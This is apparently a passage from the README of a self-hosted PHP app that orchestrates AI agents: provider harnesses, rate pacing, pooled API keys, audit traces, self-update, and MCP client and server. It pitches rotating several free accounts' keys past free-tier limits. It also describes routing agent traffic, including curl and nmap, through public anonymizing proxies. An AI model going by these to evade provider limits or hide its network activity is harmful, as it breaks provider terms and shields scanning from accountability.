x-api-key/?key=/ Azureapi-key), request/response/usage/reasoning shapes, streaming envelopes, and output-token caps. - Reply parsing is part of the harness โ content, usage and reasoning are read from wherever that family keeps them, including the
{"output":[โฆ],"stats":{โฆ}}envelope some local runners answer with, and a block list whosereasoningtext is kept out of the reply.
Adding a provider is one line in the alias table, or just a new provider in the UI. The browser copy is generated from the PHP (php tools/gen-harness.php) so the two can't drift.
No two models are alike โ and the free ones are the fussiest of all. ๐ง Dynamic tools hands each model the environment it is actually running in โ the server's ๐ช/๐ง OS, the working directory, and which shell commands really exist โ then shows one correct example per tool in that model's own dialect (JSON, Claude XML, native <|tool_call|> tags, or plain). No more findstr on Linux, no more guessing the syntax: the model is told, up front. ๐ฏ
Dialects, the rescue retry and the learned winner
- ๐ Speaks the model's language โ OpenAI-style JSON, Claude XML, native tags or plain JSON, detected from the provider + model id (or forced per agent).
- ๐ One rescue retry โ if a reply looks like a tool call but parses to nothing, the loop re-teaches once with a different dialect instead of letting the near-miss become the answer.
- ๐ฉน Near misses are read, not dropped โ a guessed name (
list_agentforlist_agents,Read-File,read_fil,functions.read_file) is repaired to the tool it meant, and a guessed wrapper (<|begin|> โฆ <|end|>,<begin> โฆ </begin>,<|tool|> โฆ <|/tool|>) parses exactly like<|tool_call|>. An invented name and a fence full of prose are still refused. - ๐ Thinking is not a to-do list โ a call is only read out of the model's reasoning channel when the reply itself says nothing. A model that thinks the call instead of sending it is still rescued; a model that explains the syntax (
{"tool":"list_agents"}) no longer has its own examples executed, which used to run the same tool repeatedly. - ๐ฃ๏ธ โI'll call the toolโ isn't a call โ the instructions name that failure, show the wrong and right forms side by side in the model's own dialect, warn that an example written in prose can execute, and says to call
thinkrather than write about using it. - ๐ง Learns the winner โ once a call parses, the dialect that worked is remembered per
provider + modeland tried first next time. - ๐ Off in one click โ Config โ Labs โ Dynamic tools restores the classic behaviour exactly, if you ever want it.
Free, quantised models that used to burn 6โ8 calls guessing now get it right the first time. ๐
A 40-requests-per-minute key dies when 16 chart nodes fire at once. The pacer counts outbound calls per host + key and waits instead of spending a 429.
Buckets, free-tier ceilings and 429 learning
- Per-key buckets โ four agents on four keys are four buckets; two agents on one key correctly share.
- Knows the free tiers โ NVIDIA NIM 40/min, Groq 30, OpenRouter 20, โฆ with a host default for anything unknown. Set the global field to
0 = AUTOto use each provider's real ceiling, or type a number to override everyone. Precedence: agent lock โ provider โ global โ host default. - Learns from a 429 โ a real refusal holds the bucket closed for the server's
Retry-After.
Got several keys for one provider โ a handful of free accounts, a team key, a spare? ๐๏ธ Drop them into the provider's API pool and let the console do the shuffling.
Rotation, model pinning and 429 cooldowns
- ๐ Rotate after N requests โ set the number and the pool hands out the next key when one reaches it (
0= every call). - ๐ฏ Pin a key to a model โ tick Only this model and enter a model # (like
#63BET7) or a model id, and that key circles just that model while everything else keeps the single key. - ๐ด 429s get rested โ a rate-limit refusal puts a key on a 60-second cooldown and the next call reaches for another, so one exhausted free tier never stalls the whole provider.
- ๐งท Your explicit key still wins โ an agent's own Key Override always takes precedence. The feature is on by default and stays completely inert until a provider actually carries pool keys (empty pool โ the single provider key, exactly as before); switch it off in Config โ Labs to ignore pools entirely.
It stacks with the pacer: every key is counted in its own bucket ๐, so a busy fleet spreads its load instead of slamming one ceiling.
Agents leak. ๐ต๏ธ By default every model call, every web_search, every fetch_url and every curl an agent runs in the shell leaves from your IP. The Proxy tab โ in the top nav, beside Providers โ puts a checkpoint in front of all of it โ except endpoints on your own network, which a proxy cannot reach anyway.
List grades, ping, favourites and global routing
- ๐ REFRESH LIST pulls hundreds at once. The server reads a live public proxy feed โ the kind of list that rotates daily โ and keeps only what is usable: alive, HTTP, IPv4 (this host dials IPv4 for
CURLOPT_PROXY, so an IPv6 entry would look selected while traffic quietly went direct) and identity-hiding only. The header tells you what you got โ 340 IPv4 proxies (elite + anonymous) โ and the drop counters explain a short list instead of leaving you to guess. - ๐ฅ Two grades of hiding, and nothing below them. ELITE (best) never announces itself and never forwards your address, so the far end sees a stranger. ANONYMOUS (better) strips your address, but the request may still be identifiable as proxied. Transparent proxies are refused at the source: they are your real IP with extra steps.
- ๐ก Ping and uptime, per row. PING measures a real round-trip through that proxy to
https://httpbin.org/ip; PING ALL sweeps the whole list in one server request withcurl_multi, so 300 rows take seconds instead of the better part of an hour. Uptime comes from the feed's own history โ how much of the recent past that endpoint answered โ and Working only hides the rows that stopped answering. - โญ Favourites stick. Star a row and it is kept with your settings rather than in the feed, so a proxy that worked yesterday is one click away after the list rotates.
- โ
USE routes everything outside your network, server-side. The choice is saved in
config.json, because the server is what makes the call โ a browser-only setting is invisible to it, which is exactly why picking a proxy once changed nothing. From then on: model relays,web_search,fetch_urland every shell command that honours proxy variables (curl,wget,nmap) go through it. - ๐ What it never carries: an endpoint on your own network.
ModelManager::activeProxy()decides per call, and a loopback, private (10.x,172.16โ31.x,192.168.x), CGNAT, link-local,.local/.lan/.internalor bare-hostname endpoint is called directly โ even when a proxy is selected, and even when one was asked for with that request. A proxy leaves your network; a runner on the LAN is not out there. The Proxy tab says which hosts it is skipping while a proxy is selected, so "active proxy" never reads as "everything is proxied" while the model you are watching goes direct. - ๐งน Selecting and clearing both write both sides. The choice lives in the browser and in
sandbox.proxy_active, because the server makes the call. CLEAR SELECTION โ or removing the active entry โ clearsconfig.jsontoo and says so only when the server confirms; before v408 it wrote the browser alone, toasted "direct connection", and traffic kept going through the proxy. โ ๏ธ It does not fail closed โ deliberately. Free lists rot; when the selected proxy dies, calls fail with a curl error, which reads as the server being down rather than the proxy. That is a consequence you can see, not a silent fall back to your real address.
- Agent cards show a live line:
โก tokens/budget ยท N req ยท up 2h ยท 40/minโ with a tooltip of in/out tokens, billed calls, output cap, context window and last call. Set a token budget (Config โ Limits) and it showsused/limit (%). - ๐ Run trace (Config โ TRACE) is one viewer with three tabs:
- RUNS โ a sequenced timeline of every model turn and tool call: time, agent, model/tool, ms, ok/fail, and token cost โ plus totals. A
noterow between two turns is an in-turn re-ask โ nudge โ narration (with the sentence the model wrote instead of a call), nudge โ dialect, or nudge โ empty reply โ so an extra model call always has its cause printed beside it. - COMMS โ the whole conversation, with the text: your prompt, the task a coordinator delegated, each agent-to-agent ask with the answer that came back, one-way orders and pings, and the reply you were sent โ each with its duration and a failure marker. Kept in memory (600 hops, 8 000 characters each) for the page-load; none of it is written to
storage/. - EXEC โ
storage/exec.logparsed into runs, newest first: time, agent, command, working directory, duration, exit code, and a no end marker for a run that started and never reported back. Read-only โ the UI has no button that can clear evidence. - SENT โ the exact body each agent posted, kept by the server in
storage/sent.json(last 20): harness family, model, endpoint, message roles, and a tools badge naming the schemas that went out โ or no tools when the request carried none. That distinction is the one a reply cannot make, and the full JSON is one click away under each row.
- RUNS โ a sequenced timeline of every model turn and tool call: time, agent, model/tool, ms, ok/fail, and token cost โ plus totals. A
- ๐ฃ๏ธ Per-agent, from the map โ an agent's card on the chart shows Recent messages with what was said, and Messages โ opens a drawer scoped to that agent (Talk / Runs, filtered All communication / Agent to agent) without giving up a single metric the card already shows โ the same button sits on the 2D agent metrics modal. Hovering a beam reads "Agent A โ Agent B: โฆ".
- ๐งพ The audit trail is two-phase โ each
exec/run_coderun writesphase=startbefore the process spawns andphase=endafterwards, sharing onerun=id and carryingagent=<id>. A command killed mid-run therefore leaves a visible start with no end instead of no record at all, and every line can be tied to the turn that asked for it.
The whole loop as a living map. Every activated agent and provider becomes a glowing node, and each exchange paints a dotted line whose dots travel the way the traffic actually moved.
Nodes, traffic, MCP on the graph, ASK and verbose replies
๐๏ธ It is also the most expensive thing in the app, so every visual it owns has a switch in Config โ Desktop โ fog, bloom, the floating floor, auto-rotate, map detail and the frame cap. That card โ every knob, what it costs and what it defaults to โ is detailed in Config โ Desktop above. ๐งฎ
- ๐ง You โ the red node at the heart of the graph, with a live card: ๐จ prompts sent, ๐ฌ replies, ๐ค agents online, โ๏ธ working now, ๐ช session tokens and ๐ก fleet average ping.
- ๐ค Agent nodes โ one per activated agent, ringed in its own colour, showing its role, model, โ๏ธ tool calls and โฌก token spend, with ๐ง ripple rings while it works.
- ๐ฃ Provider nebulas โ each provider breathes as a soft cloud, with its agents orbiting inside.
- ๐งต Traffic lines โ dotted and colour-matched to the model, with dots marching the direction the message actually travelled: โก๏ธ toward You for a reply, โฌ ๏ธ from You for a request.
- ๐น๏ธ Controls โ drag to orbit, scroll to zoom, right-drag to pan, click a node for its ๐ metrics, and switch ๐ง 3D / ๐บ๏ธ 2D or go fullscreen.
- ๐ Notifications โ a bell keeps a running list of run errors and warnings so nothing scrolls past unnoticed.
- ๐ MCP nodes โ a server you call (amber) and a friend's client connected to you (sky) each become a node with the same clickable card: transport, reachability and tool count, tool policy, scope, and recent calls. Outgoing calls animate live (agent โ server โ agent); incoming friend traffic ticks in from the server's audit log.
- ๐๏ธ Two extra tabs on every MCP card โ Access edits the node itself (a server's connection plus a per-server tool allow/deny; a friend's read/write/exec scope and IP allowlist); Permissions edits the app-wide shell allow/deny lists, interpreter levels, auto-approve / auto-deny and the code interpreter โ inline.
- โ Ask a model from its node โ the 3D card carries an ASK button that docks a small prompt box with a send button and a Voice toggle. The answer lands in a floating box pinned to the graph, isolated from the transcript, while the traffic still animates.
- ๐ ๏ธ Verbose inline replies โ the graph's reply box prints the real tool work verbatim (call name, pretty-printed arguments, status, duration, full output) before the closing answer, and only the closing answer is ever read aloud. ๐
The living map is lovely and also, by default, always on. Config โ Resource Manager adds optional brakes โ every switch off by default, so nothing changes until you ask:
Pause switches, idle slowdown and gauges
- ๐ช Pause when a panel is open (routing chart, API Lab, Brain Lab, browser, modals) โ no point rendering a graph behind a full-screen drawer.
- ๐ฏ Pause when the window isn't focused โ switch to another app and it stands down.
- ๐ Pause when the graph is off-screen โ an
IntersectionObserver, which also fixes the mobile case where the panel is slid off-screen and kept rendering unnoticed. - ๐ข Slow down when idle (default 10 fps) โ idle means no traffic beams, no working agents, settled layout, no recent interaction.
- ๐งญ Two speedometer gauges + an FPS / frame-ms readout โ CPU is this app's JS share of each frame; GPU is real GPU ms via
EXT_disjoint_timer_query_webgl2when the browser exposes it, otherwise a clearly-labelled estimate.
Some models show their work. ๐ญ๐งฉ When a provider streams a reasoning trace, the thinking panel opens and shows it live, so you can watch the model deliberate before the answer lands โ handy for debugging a stubborn prompt without cluttering the reply. The trace is painted as it streams, accumulated across every step and every round of the turn, and carried into the finished message, so what you watched does not vanish at the commit; a local model that thinks out loud in its reply text keeps those sentences in the same panel instead of losing them, and a "reasoning" block that is really the reply is still suppressed as an echo. The panel is hidden only when the reasoning really is the reply repeated โ an answer that happens to restate a phrase from a long trace no longer takes the trace with it.
Agents keep private notes and share a small collective every agent reads. Tools: remember (private), share (collective), recall, adopt. Notes are injected as recollection, not instructions, and are fully editable/deletable in Brain Lab.
Hardenings, budgeting and sync rules
Two recent hardenings so memory can't look "off":
- If a model narrates a tool call ("I'll use the remember tool") instead of emitting it, the loop re-prompts once to actually send it.
- Memory syncs across devices but unions by id โ a sync can never silently drop a note that exists only in your browser.
Replayed history is budgeted against the model's real context window instead of a fixed 24k characters, and oversized tool output keeps its head and tail rather than being cut mid-result.
Take your work with you. ๐ฆ
- ๐ค Export a session โ download one conversation from the transcript, or
GET /export/{id}. - ๐๏ธ Back up everything โ
GET /backupgrabs the whole state as a single file. - ๐ฅ Import โ
POST /importrestores it on this machine, or another.
The app checks its own published release, shows you exactly what would change, and then โ if you say so โ installs it, keeping a rollback copy of the code you had. ๐งพ
- ๐ฅ Config โ Updates โ DOWNLOAD UPDATEโฆ fetches the published archive from GitHub into
storage/updates/, verifies it, extracts a staging copy and diffs it against your install: N new ยท N changed ยท N unchanged ยท N not in this release โ plus the version each copy calls itself and the archive's SHA-256. - ๐ It checks by itself at load. The server reads two small files from the published copy (
VERSIONandui/js/store.js) and compares version numbers, so the app knows a release exists without downloading one. If the published version is newer, a prompt opens offering to install it โ on every load while the release is pending, because CANCEL means "not now", not "never". The answer is cached for one hour โ so a reload usually costs no network call at all, and a release is never more than an hour from being noticed. - ๐๏ธ Two numbers, not one. A release is announced by either of two signals, both read from the published copy:
VERSION(repo root โ the release number, bumped on every release, including one that changes no browser file) andAPP_VERSIONinui/js/store.js(the browser cache-buster, which moves only when a file the browser caches changes). Before the release number existed the check could see only the cache-buster, so a PHP-only release was invisible โ it reported "up to date" for a release that had shipped. - ๐ท๏ธ
VERSIONis a plain integer (347, not2026.10.26): the comparison is numeric, so a dotted date would never read as newer. It also must never be behindAPP_VERSION, andtests/php/update.test.phpfails if it is โ that is what stops a release from quietly making itself invisible. A published copy with noVERSIONat all is judged on its cache-buster instead, so older releases keep working. - ๐ฐ The notification names what shipped. When a newer release exists, the server also reads the top entry of the published
CHANGELOG.mdโ and only then, because that file is the largest in the repo and every byte of it is worthless while the two copies match. The bell says "Update available โ published v349 ยท RELEASING.md: the two-number checklist", and Config โ Updates keeps a What's new: row, so the news survives a reload โ a bell entry is raised once per release and its list lives only in memory. If the CHANGELOG cannot be read, the release is still announced, just without a name. - ๐ That row opens. What's new is a disclosure, not a teaser: closed it names the release and its opening sentence, opened it lists the entry's own lines โ every bullet with its bold lead-in, sub-points indented โ read from the same parse that produced the one-liner, so the two can never disagree. It is capped at 60 lines / 4000 characters and scrolls in place, because the text arrives over the network; when a cap bites it says so rather than pretending the entry ended. Every line is remote text and is placed as text, never as markup โ the bold lead-in is a real element built around escaped content.
- ๐๏ธ The switch is in Config โ Updates: Check for updates when the app loads, on by default, with CHECK NOW to ask immediately and a one-line answer beneath it ("Published v337, this copy v344 โ this copy is the newer one"). Both numbers are always shown, because the published copy can be behind a local one and an arrow would read as an upgrade that takes you backwards. Off silences the load-time check only โ CHECK NOW and DOWNLOAD UPDATE always work.
- ๐ A check that cannot run says nothing. Offline, behind a proxy, or on a PHP with no curl, the load-time check stays quiet: it never blocks boot, never throws, and never claims you are out of date. A failed check is remembered briefly (15 minutes) so an offline machine is not retrying on every reload. The announcement names the release; the file-by-file diff still takes DOWNLOAD UPDATE.
โ ๏ธ A half-finished check says so. If one of the two probes cannot be read โ a timeout, an HTTP error, a mangled file โ the check still answers with the signal it got, but Config โ Updates stops short of "up to date": it says "Not fully checked โ this copy is vโฆ" with the reason on the line and the full text in the tooltip, and it names which releases that dead signal would have hidden. The warning is cached with the answer, so an hour-old partial check cannot drift back into reading as a clean one; a hard failure still reports itserrorinstead. Silently treating one dead signal as "nothing new" is how six releases went unnoticed.- ๐งญ One answer, then it runs. The load-time announcement is a prompt with three answers: BACK UP, THEN UPDATE (your settings, saved to this machine's Downloads folder as
router-backup-<version>-<timestamp>.jsonโ that file holds your keys and token, so keep it safe), UPDATE WITHOUT A BACKUP, or CANCEL. Pick either of the first two and the whole chain runs unattended: download โ verify โ diff โ install โ reload. No second confirmation, because the click was the confirmation. - ๐ง It asks whether it can write before it writes anything. Every folder the release touches gets one throwaway probe file, and a refusal names the folder and stops there โ nothing has been replaced. A release that adds a folder (
.github/workflows, from v427) used to be mistaken for a locked one and blocked the install; the probe now asks the deepest folder that exists, which is wheremkdircreates the rest. When a refusal is real and the folder is missing, the panel prints the two lines that fix it โsudo mkdir -p โฆandsudo chown --reference=<app folder> โฆโ and--referencecopies the app folder's own owner, sowww-data,apacheor a custom PHP-FPM pool never has to be guessed. Windows gets no such line: it has nosudoorchown, and the account that owns the tree can create the folder already. - ๐ ๏ธ The install. Config โ Updates โ INSTALL UPDATEโฆ copies the staged release over the app's own files. It refuses
storage/,.git,node_modules,.freebuff,screenshots/andsandbox/before it looks at any file, never writes over a file in place (new bytes land in a dotfile sibling and arerename()d over the target, so a reader sees the old file or the new one and never half of either), and deletes nothing โ a file the release dropped simply stays. - โฉ๏ธ Always a way back. Before the first write it copies the current tree to
storage/backups/<version>-<timestamp>/with amanifest.json(path, size, sha256). Config โ Updates โ ROLL BACK restores it, and if the installed files report a different version than the release claimed, the installer rolls itself back and says so. Two rollback copies are kept, pruned oldest-first. - ๐ฅ๏ธ
install-update.phpโ the way in when the app can't help.php install-update.phpinstalls what is staged,--finishswaps in anything an install had to defer,--rollbackundoes it,--statusreports what is staged and what the last run did. It loads one file, uses no autoloader, refuses to run over HTTP, and exists for two cases a button cannot cover: a Linux host wherewww-datacannot write the app folder, and a tree that a half-finished update already broke โ the code that would fix it is inside that tree. - ๐ช One file cannot be swapped from inside the request that is running it. On Windows the entry script (
api/index.php) is held open for the life of the request, so the installer writes it as.router-new-index.phpand journals it as deferred, finishes everything else, and hands the last swap to a generated script instorage/updates/that runs as its own process a second later. Nothing is ever deleted to make room, and if the handoff cannot happen the UI names the file and the exit (install-update.php --finish). A page load retries it too:autoload.phpis one of the files an install replaces, so the retry runs on the new installer โ the one whose PHP lookup works โ and a stuck update finishes itself a second later. If it still cannot, Config โ Updates opens with 1 file waiting โ this update is unfinished, names the file, and offers FINISH THE UPDATE; the section badge reads UNFINISHED whether or not it is expanded, so the panel never claims up to date while a file is still one rename short. - ๐ It says what it did.
storage/updates/install.logrecords every phase, andinstall.jsoncarries the current one (installing/done/failed/rolled-back). Both are understorage/, so neither is reachable over HTTP. - ๐ Your data is out of scope by construction. The published copy ships a default
storage/folder, so a plain "unzip over the app" would replace your config, token and provider keys with defaults. Everystorage/*entry is refused at extraction time โ before any diff exists โ andstorage/never appears in the comparison. - ๐งญ What โnot in this releaseโ means. Files on disk that the release doesn't contain (
cleancopy/, screenshots, work you haven't pushed) are listed, never deleted. - ๐ก๏ธ The archive is treated as hostile.
httpsonly, on GitHub's release hosts โ checked before the request and again after redirects โ with a 64 MB / 20 000-entry cap, and every entry name resolved by hand:.., absolute paths, drive letters andstream://wrappers are refused rather than written. - ๐๏ธ DISCARD empties
storage/updates/again; the download is ~11 MB and the staging copy goes with one click. - ๐งช Covered by
tests/php/update.test.php: entry-name refusals, wrapper stripping before the storage rule (the bug it was written for), the diff classifications, the source guard, and the CHANGELOG parsers (which line is the title, one bullet only as the summary, markdown stripped, truncation counted in characters so an em dash or emoji cannot make the response un-encodable, and the whole-entry reader behind What's new โ lead-in split, nesting depth, and both caps).
Config โ MCP Client. Add any MCP server (stdio command + args, or an HTTP URL with headers). Its tools become available to your agents through mcp_list / mcp_call. Servers are operator-configured โ a model can call them, never add one.
Config example and Windows PATH notes
On Windows, stdio servers inherit the process environment (including PATH, ComSpec, APPDATA, TEMP and the usual Node install directories), so npx/node work without a manual PATH. env overrides individual keys. HTTP servers that require a session get initialize + Mcp-Session-Id automatically when the first call says it needs one; stateless servers still use a single POST.
The mirror of the client: an operator can expose this install as a remote MCP server, so another person's MCP client โ their own local model, Claude Desktop, Cursor โ can call tools that run on the operator's machine.
Enable steps, token scopes and friend setup
Config โ MCP Server
- Turn Enable the MCP server on.
- Set a scratch folder โ friends' file and command tools are jailed there, and a deny-all
.htaccessis dropped in so nothing they write is web-served. - Optionally edit the protected paths list.
- Add a token per friend, each with a scope: read / write / exec (and an optional IP allowlist). Tokens never expire; revoke one with a click. A token is shown once โ when it is created, or when you press ROTATE โ because the server keeps it and does not hand it back. Copy it then; if it is lost, ROTATE rather than guessing, and the old token stops working when you save.
The endpoint is POST /api/mcp-server (JSON-RPC 2.0), authenticated with Authorization: Bearer <token>.
- read โ
read_file,list_dir,glob_files,grep_code,stat,fetch_url,web_search,git_read - write โ
write_file,edit_file,insert,apply_patch,multi_edit - exec โ
exec,run_code,git_commit
Scope is a ceiling, not a bypass: a call still runs through the same sandbox, allow/deny lists, interpreter levels and approvals. An un-allowed command queues in the operator's Pending-approvals list and the friend's call returns "waiting for the operator". Every call is written to storage/mcp.log.
- Client supports remote MCP (HTTP) โ add a remote server at the URL with one header:
Authorization: Bearer <token>. - Client is stdio-only (e.g. Claude Desktop) โ bridge it with
mcp-remote:npx -y mcp-remote https://YOUR-HOST/path/api/mcp-server \ --header "Authorization: Bearer <token>" - The friend runs their own copy of Loop Studio โ Config โ MCP Client โ + ADD SERVER (name, transport
http, url, and aheadersbox withAuthorization: Bearer <token>). Their agents then reach the operator's tools throughmcp_list/mcp_call.
The operator hands over the URL + that friend's token โ that pair is all their client needs.
The UI is mobile-first โ touch controls, a responsive layout, an icon rail on phones, and it works in the phone's browser right next to wireless-debugging tooling.
The Android correction: WebView, on-device PHP and PWA
โ ๏ธ Correction: an earlier note claimed there would be no Android app because "you can't put a PHP server into an Android app." That is false. An Android build is a packaging exercise, not an impossibility:
- ๐งฉ Thin WebView shell โ package a tiny app whose WebView points at the hosted instance. The whole UI already runs in a mobile browser.
- ๐ฆ PHP on-device โ PHP runs on Android via Termux (
pkg install php, thenphp -S 127.0.0.1:8080 serve.php), KSWEB, or AndroPHP, so a fully local, offline build is possible too.- ๐ Installable PWA โ add the web UI to the home screen as a progressive web app.
So: ๐ฑ an Android version is on the table. The old "impossible" line is struck.
/router/
โโโ index.html # SPA entry (canonical)
โโโ api/
โ โโโ index.php # REST front controller (all routes)
โ โโโ lab.inc.php # API Lab request runner
โโโ src/ # PHP backend
โ โโโ Config.php # settings + models
โ โโโ ModelManager.php # relays + streaming
โ โโโ Harness.php # provider / tool-dialect registry
โ โโโ Sandbox.php # jail, files, exec, git, code, http
โ โโโ Cdp.php # hand-rolled WebSocket + DevTools Protocol client
โ โโโ Browser.php # detect / launch / drive Chrome or Edge
โ โโโ Mcp.php # MCP client
โ โโโ McpServer.php # MCP server
โ โโโ SessionManager.php
โ โโโ TopologyGraph.php
โ โโโ Audio.php
โโโ ui/
โ โโโ js/ # app modules: store ยท api ยท stateSync ยท tools ยท
โ โ # toolManifest ยท toolProtocol ยท harness ยท nativeTools ยท
โ โ # apiPool ยท trace ยท perf ยท brainlab ยท alwaysOn ยท memory ยท
โ โ # desktop2026 (the glass shell) ยท ifaceMode ยท drawerState
โ โ โโโ components/ # chat ยท sidebar ยท routingChart ยท browserView ยท topology3d/โฆ
โ โโโ css/ # base ยท layout ยท chat ยท components ยท topology ยท desktop2026
โโโ tools/
โ โโโ gen-harness.php # generates ui/js/harness.data.js
โ โโโ cacert.pem
โโโ tests/
โ โโโ run.mjs # the whole suite: PHP, then JS
โ โโโ php/ # 20 files: sandbox ยท programs ยท secrets ยท setupToken ยท
โ # tls ยท update ยท mcp ยท mcpServer ยท mcpStdio ยท guards ยท
โ # apacheGuards ยท nginxGuards ยท layers ยท docs (run.php)
โ โโโ js/ # 24 files: context ยท curl ยท harness ยท ifaceMode ยท
โ # latency ยท nativeTools ยท toolCalls ยท sandboxBinding ยท
โ # rebindButton ยท localEndpoints (run.mjs)
โโโ screenshots/
โโโ storage/ # JSON data (config, state, sessions) โ git-ignored
โโโ serve.php # php -S router (no Apache needed)
โโโ start.bat / start-php.bat / start.sh # launchers
โโโ install-update.php # update without the UI (--finish / --rollback)
โโโ setup-xampp.bat/.ps1 # one-click Apache + PHP (Windows)
โโโ setup-token.sh # create / rotate the access token (+ storage guard)
โโโ nginx.example.conf # deny storage/ + tests/ on nginx (copy into server{})
โโโ VERSION
โโโ CHANGELOG.md
โโโ README.md
๐งฐ Optional dev tooling. Nothing in
tests/is loaded by the app or imported by the UI โ the folder exists only to be run from a terminal, and deleting it changes nothing about how the app behaves. The app itself stays plain PHP with no build or dependency step: drag the folder onto a host and it runs. Node is needed only if you choose to run the JavaScript tests;php tests/php/run.phpneeds nothing beyond thephpyou already have. Nopackage.json, nonode_modules, nothing to install.๐
tests/is not needed at runtime, and every serving mode refuses it, the same way it refusesstorage/:serve.phpanswers 403 for anything under/tests(and for astorage,logs,tmp,sessionsortestsfolder at any depth, so a copy of the app kept inside the web root cannot expose its ownconfig.json),tests/.htaccess(which ships) plus the root.htaccess's any-depthRedirectMatchdeny it on Apache, andnginx.example.confcovers it for nginx in every folder, not just the root. API routes are exempt in all three โ/api/sessionsis the session list, not thestorage/sessionsfolder, and no API route maps onto a path from disk. Leavingtests/out of a deploy is still the tidiest option โ it holds no config, keys or tokens either way.
One command runs the whole suite:
node tests/run.mjs # PHP first, then JSEither half runs on its own, which is what you want while working on one of them:
| Command | What it runs |
|---|---|
๐งช node tests/run.mjs |
Both suites, PHP then JS |
๐ php tests/php/run.php |
PHP only โ sandbox, desktop programs (programs.test.php: the operator's list as the whole allowlist, the detached launch, binary-path matching, real kill verdicts and the un-forgeable trace), masked secrets (secrets.test.php: masks going out, restores coming back, and who may ask when there is no token), the token recovery script (setupToken.test.php), harness, MCP client/server, HTTP guards (serve.php, Apache .htaccess, and the nginx rules via PCRE), and the CSS/JS layer audit |
๐จ node tests/js/run.mjs |
JS only โ 24 files: context, curl, harness, interface mode, latency, native tools, tool calls and markup stripping, sandbox binding, the rebind button, backup sections, comms, rate governor, localEndpoints |
๐ฑ php tests/freshClone.php |
Both suites, in a fresh copy of the tree in the temp dir โ the same check a clone gets, run every time (needs git, which supplies the file list). --head clones the last commit instead of the working tree; --keep keeps the copy. Deleted on success, kept when something fails. Ends every run โ pass or fail โ with its measured total, split by phase: took: 37.6s (copy 6.9s, PHP 28.3s, JS 2.4s) |
๐ก๏ธ ./tools/check-guards.sh |
The serving refusals against a live copy โ --serve boots serve.php on a free port and checks this tree, or pass a URL; --token requires an authenticated 200 |
- The layer audit is a stylesheet test.
tests/php/layers.test.phpparsesui/css/*.css(and the handful ofz-indexvalues set fromui/jsandindex.html) and fails if any surface โ panel, drawer, pane, menu โ ties or outranks a dialog. Notices are exempt by name with a reason: the fatal banners, the boot splash, the CRT scanline overlay, toasts and the approval prompt, which must be visible over a dialog. It reads the dialog's number and the ladder comment inmodals.cssrather than hardcoding them, so moving the layer means updating both. It exists because dialogs once sat below the built-in Browser pane and an agent's โฎ menu at 3000, and nothing failed. - Each test file is its own process, exactly as if you had run it by hand, so one file's globals or a failed import cannot colour another's result โ and several run at the same time (4 by default;
php tests/php/run.php --jobs 1for one after another,--jobs Nfor a different width). Results are still printed in file-name order, whatever order they finish in, so two runs of the same tree read the same way and a failure's full output still sits under its ownFAILline. That is only safe because the two things the files used to share are gone: the port each server binds โ a walk that starts from a number derived from the file's own process id (tests/php/free-port.php, required by the three files that start a server), rather thantcp://127.0.0.1:0, which hands the same port to two files that ask in the same moment and leaves one of them binding an occupied port or talking to the other one's server โ and the log each file writes โexec.logandmcp.logare appends in the install'sstorage/, and a test that truncates the trace back to the size it found it at would delete a line another file was about to read, so each file is given a log directory of its own (ROUTER_LOG_DIR). One side effect worth having: the suites no longer write the operator'sstorage/exec.logorstorage/mcp.logat all. - Naming is the registration. A
*.test.mjsintests/js/or a*.test.phpintests/php/is picked up automatically โ there is no list to update. Helpers (liketests/php/mcp-mock-server.php, whichmcp.test.phpspawns itself) simply don't use the.test.name. - A file that cannot run one of its checks prints
SKIP:with the reason โ and the runner repeats it. A skip should mean this machine cannot do it โ nobashto drivesetup-token.sh, nopythonfor the audit checks, nocurlextension, no symlinks on Windows โ and never this checkout is missing something only the operator has. A test that needs a fixture builds it:apacheGuards.test.phpwrites a throwaway copy of the app into the web root, asserts against it and removes it, andguards.test.phpusesstorage/models.json, which ships with the app, rather than a session transcript only the operator has. The runner re-prints thoseSKIP:lines under the file's result and totals them, because otherwise "this file skipped two of its checks" looks exactly like "this file had two checks" โ which is how a fresh clone quietly ran 18 fewer assertions than the machine they were written on, and still reported green. - A suite that cannot run fails the command instead of being quietly skipped: with no
phpon PATH you getPHP suite did not runand exit1. PointPHP_BINARYat the binary if it lives somewhere unusual. - No internet and no browser. The JS tests import the real modules (
tools.js,utils.js,nativeTools.js) straight into Node; the PHP ones use a temporary sandbox root and a local stdio MCP mock. The only servers are the ones the three files that need one start for themselves, each on a loopback port whose walk starts from its own process id (see the port note above) โphp -Sforserve.php's own router, and the local Apache for the shipped.htaccessfiles โ and each shuts its server down when it finishes.nginxGuards.test.phpstarts nothing at all: it lifts thelocationregexes out ofnginx.example.confand runs them through PCRE, which is the engine nginx matches with. One Apache detail it has to handle: Apache reads.htaccessfrom directories aboveDocumentRoottoo, so a copy of the app nested inside another copy would have the parent's file parsed as server config (<IfModule not allowed here) and answer500to everything โ which is why the generated config pins every ancestor toAllowOverride Noneand leaves only the shipped files in play. - A pre-commit hook runs the fresh-copy check on what you are committing.
.githooks/pre-commitcallstests/freshClone.php --index, so the copy is the staged snapshot and not the working tree โ a half-staged commit is checked as the commit it will actually be. Turn it on once per clone withgit config core.hooksPath .githooks(nothing in a repo can install a hook into someone's.git), skip one commit withgit commit --no-verify, and know that it costs about 38 seconds here โtook: 37.6smeasured โ which is what the check costs. A cold machine is slower: the copy is 306 files, and a scanner reading them fresh is part of the price. Neither tool asks you to trust a number, either โ every run ends with what it actually cost, on the way past whether it passed or failed:took: 37.6s (copy 6.9s, PHP 28.3s, JS 2.4s), with the hook's own end-to-end seconds printed beside it. The breakdown says where the money goes, and it is still not where it first looked: the two long files areprograms.test.php(every look at the process table is a PowerShell start, ~0.65s, and the feature is about what that table says) andsetupToken.test.php(16 real invocations of the recovery script at ~0.8s each, in an environment where python is deliberately broken so php is the engine that gets used) . Serially that made the PHP half the sum of the two; running the files at the same time makes it the slowest file plus a little, because the longest files are started first and twelve short ones fit around them. Booting Apache,serve.phpand the MCP mock cost about two seconds between them, and the JS half is about a second. When a suite fails the copy is kept, so the failure can be looked at where it happened. - End a test file with its own count, e.g.
58 passed, 0 failedโ plus, N skippedwhen it had to skip something. The runners read that last line for the per-file summary and the total, and never trust the count of a file that failed. A fresh clone should report the same numbers as the machine the tests were written on:PHP 20 files, 20 passed, 1,129 assertions, 5 skippedandJS 24 files, 24 passed, 681 assertionson both.
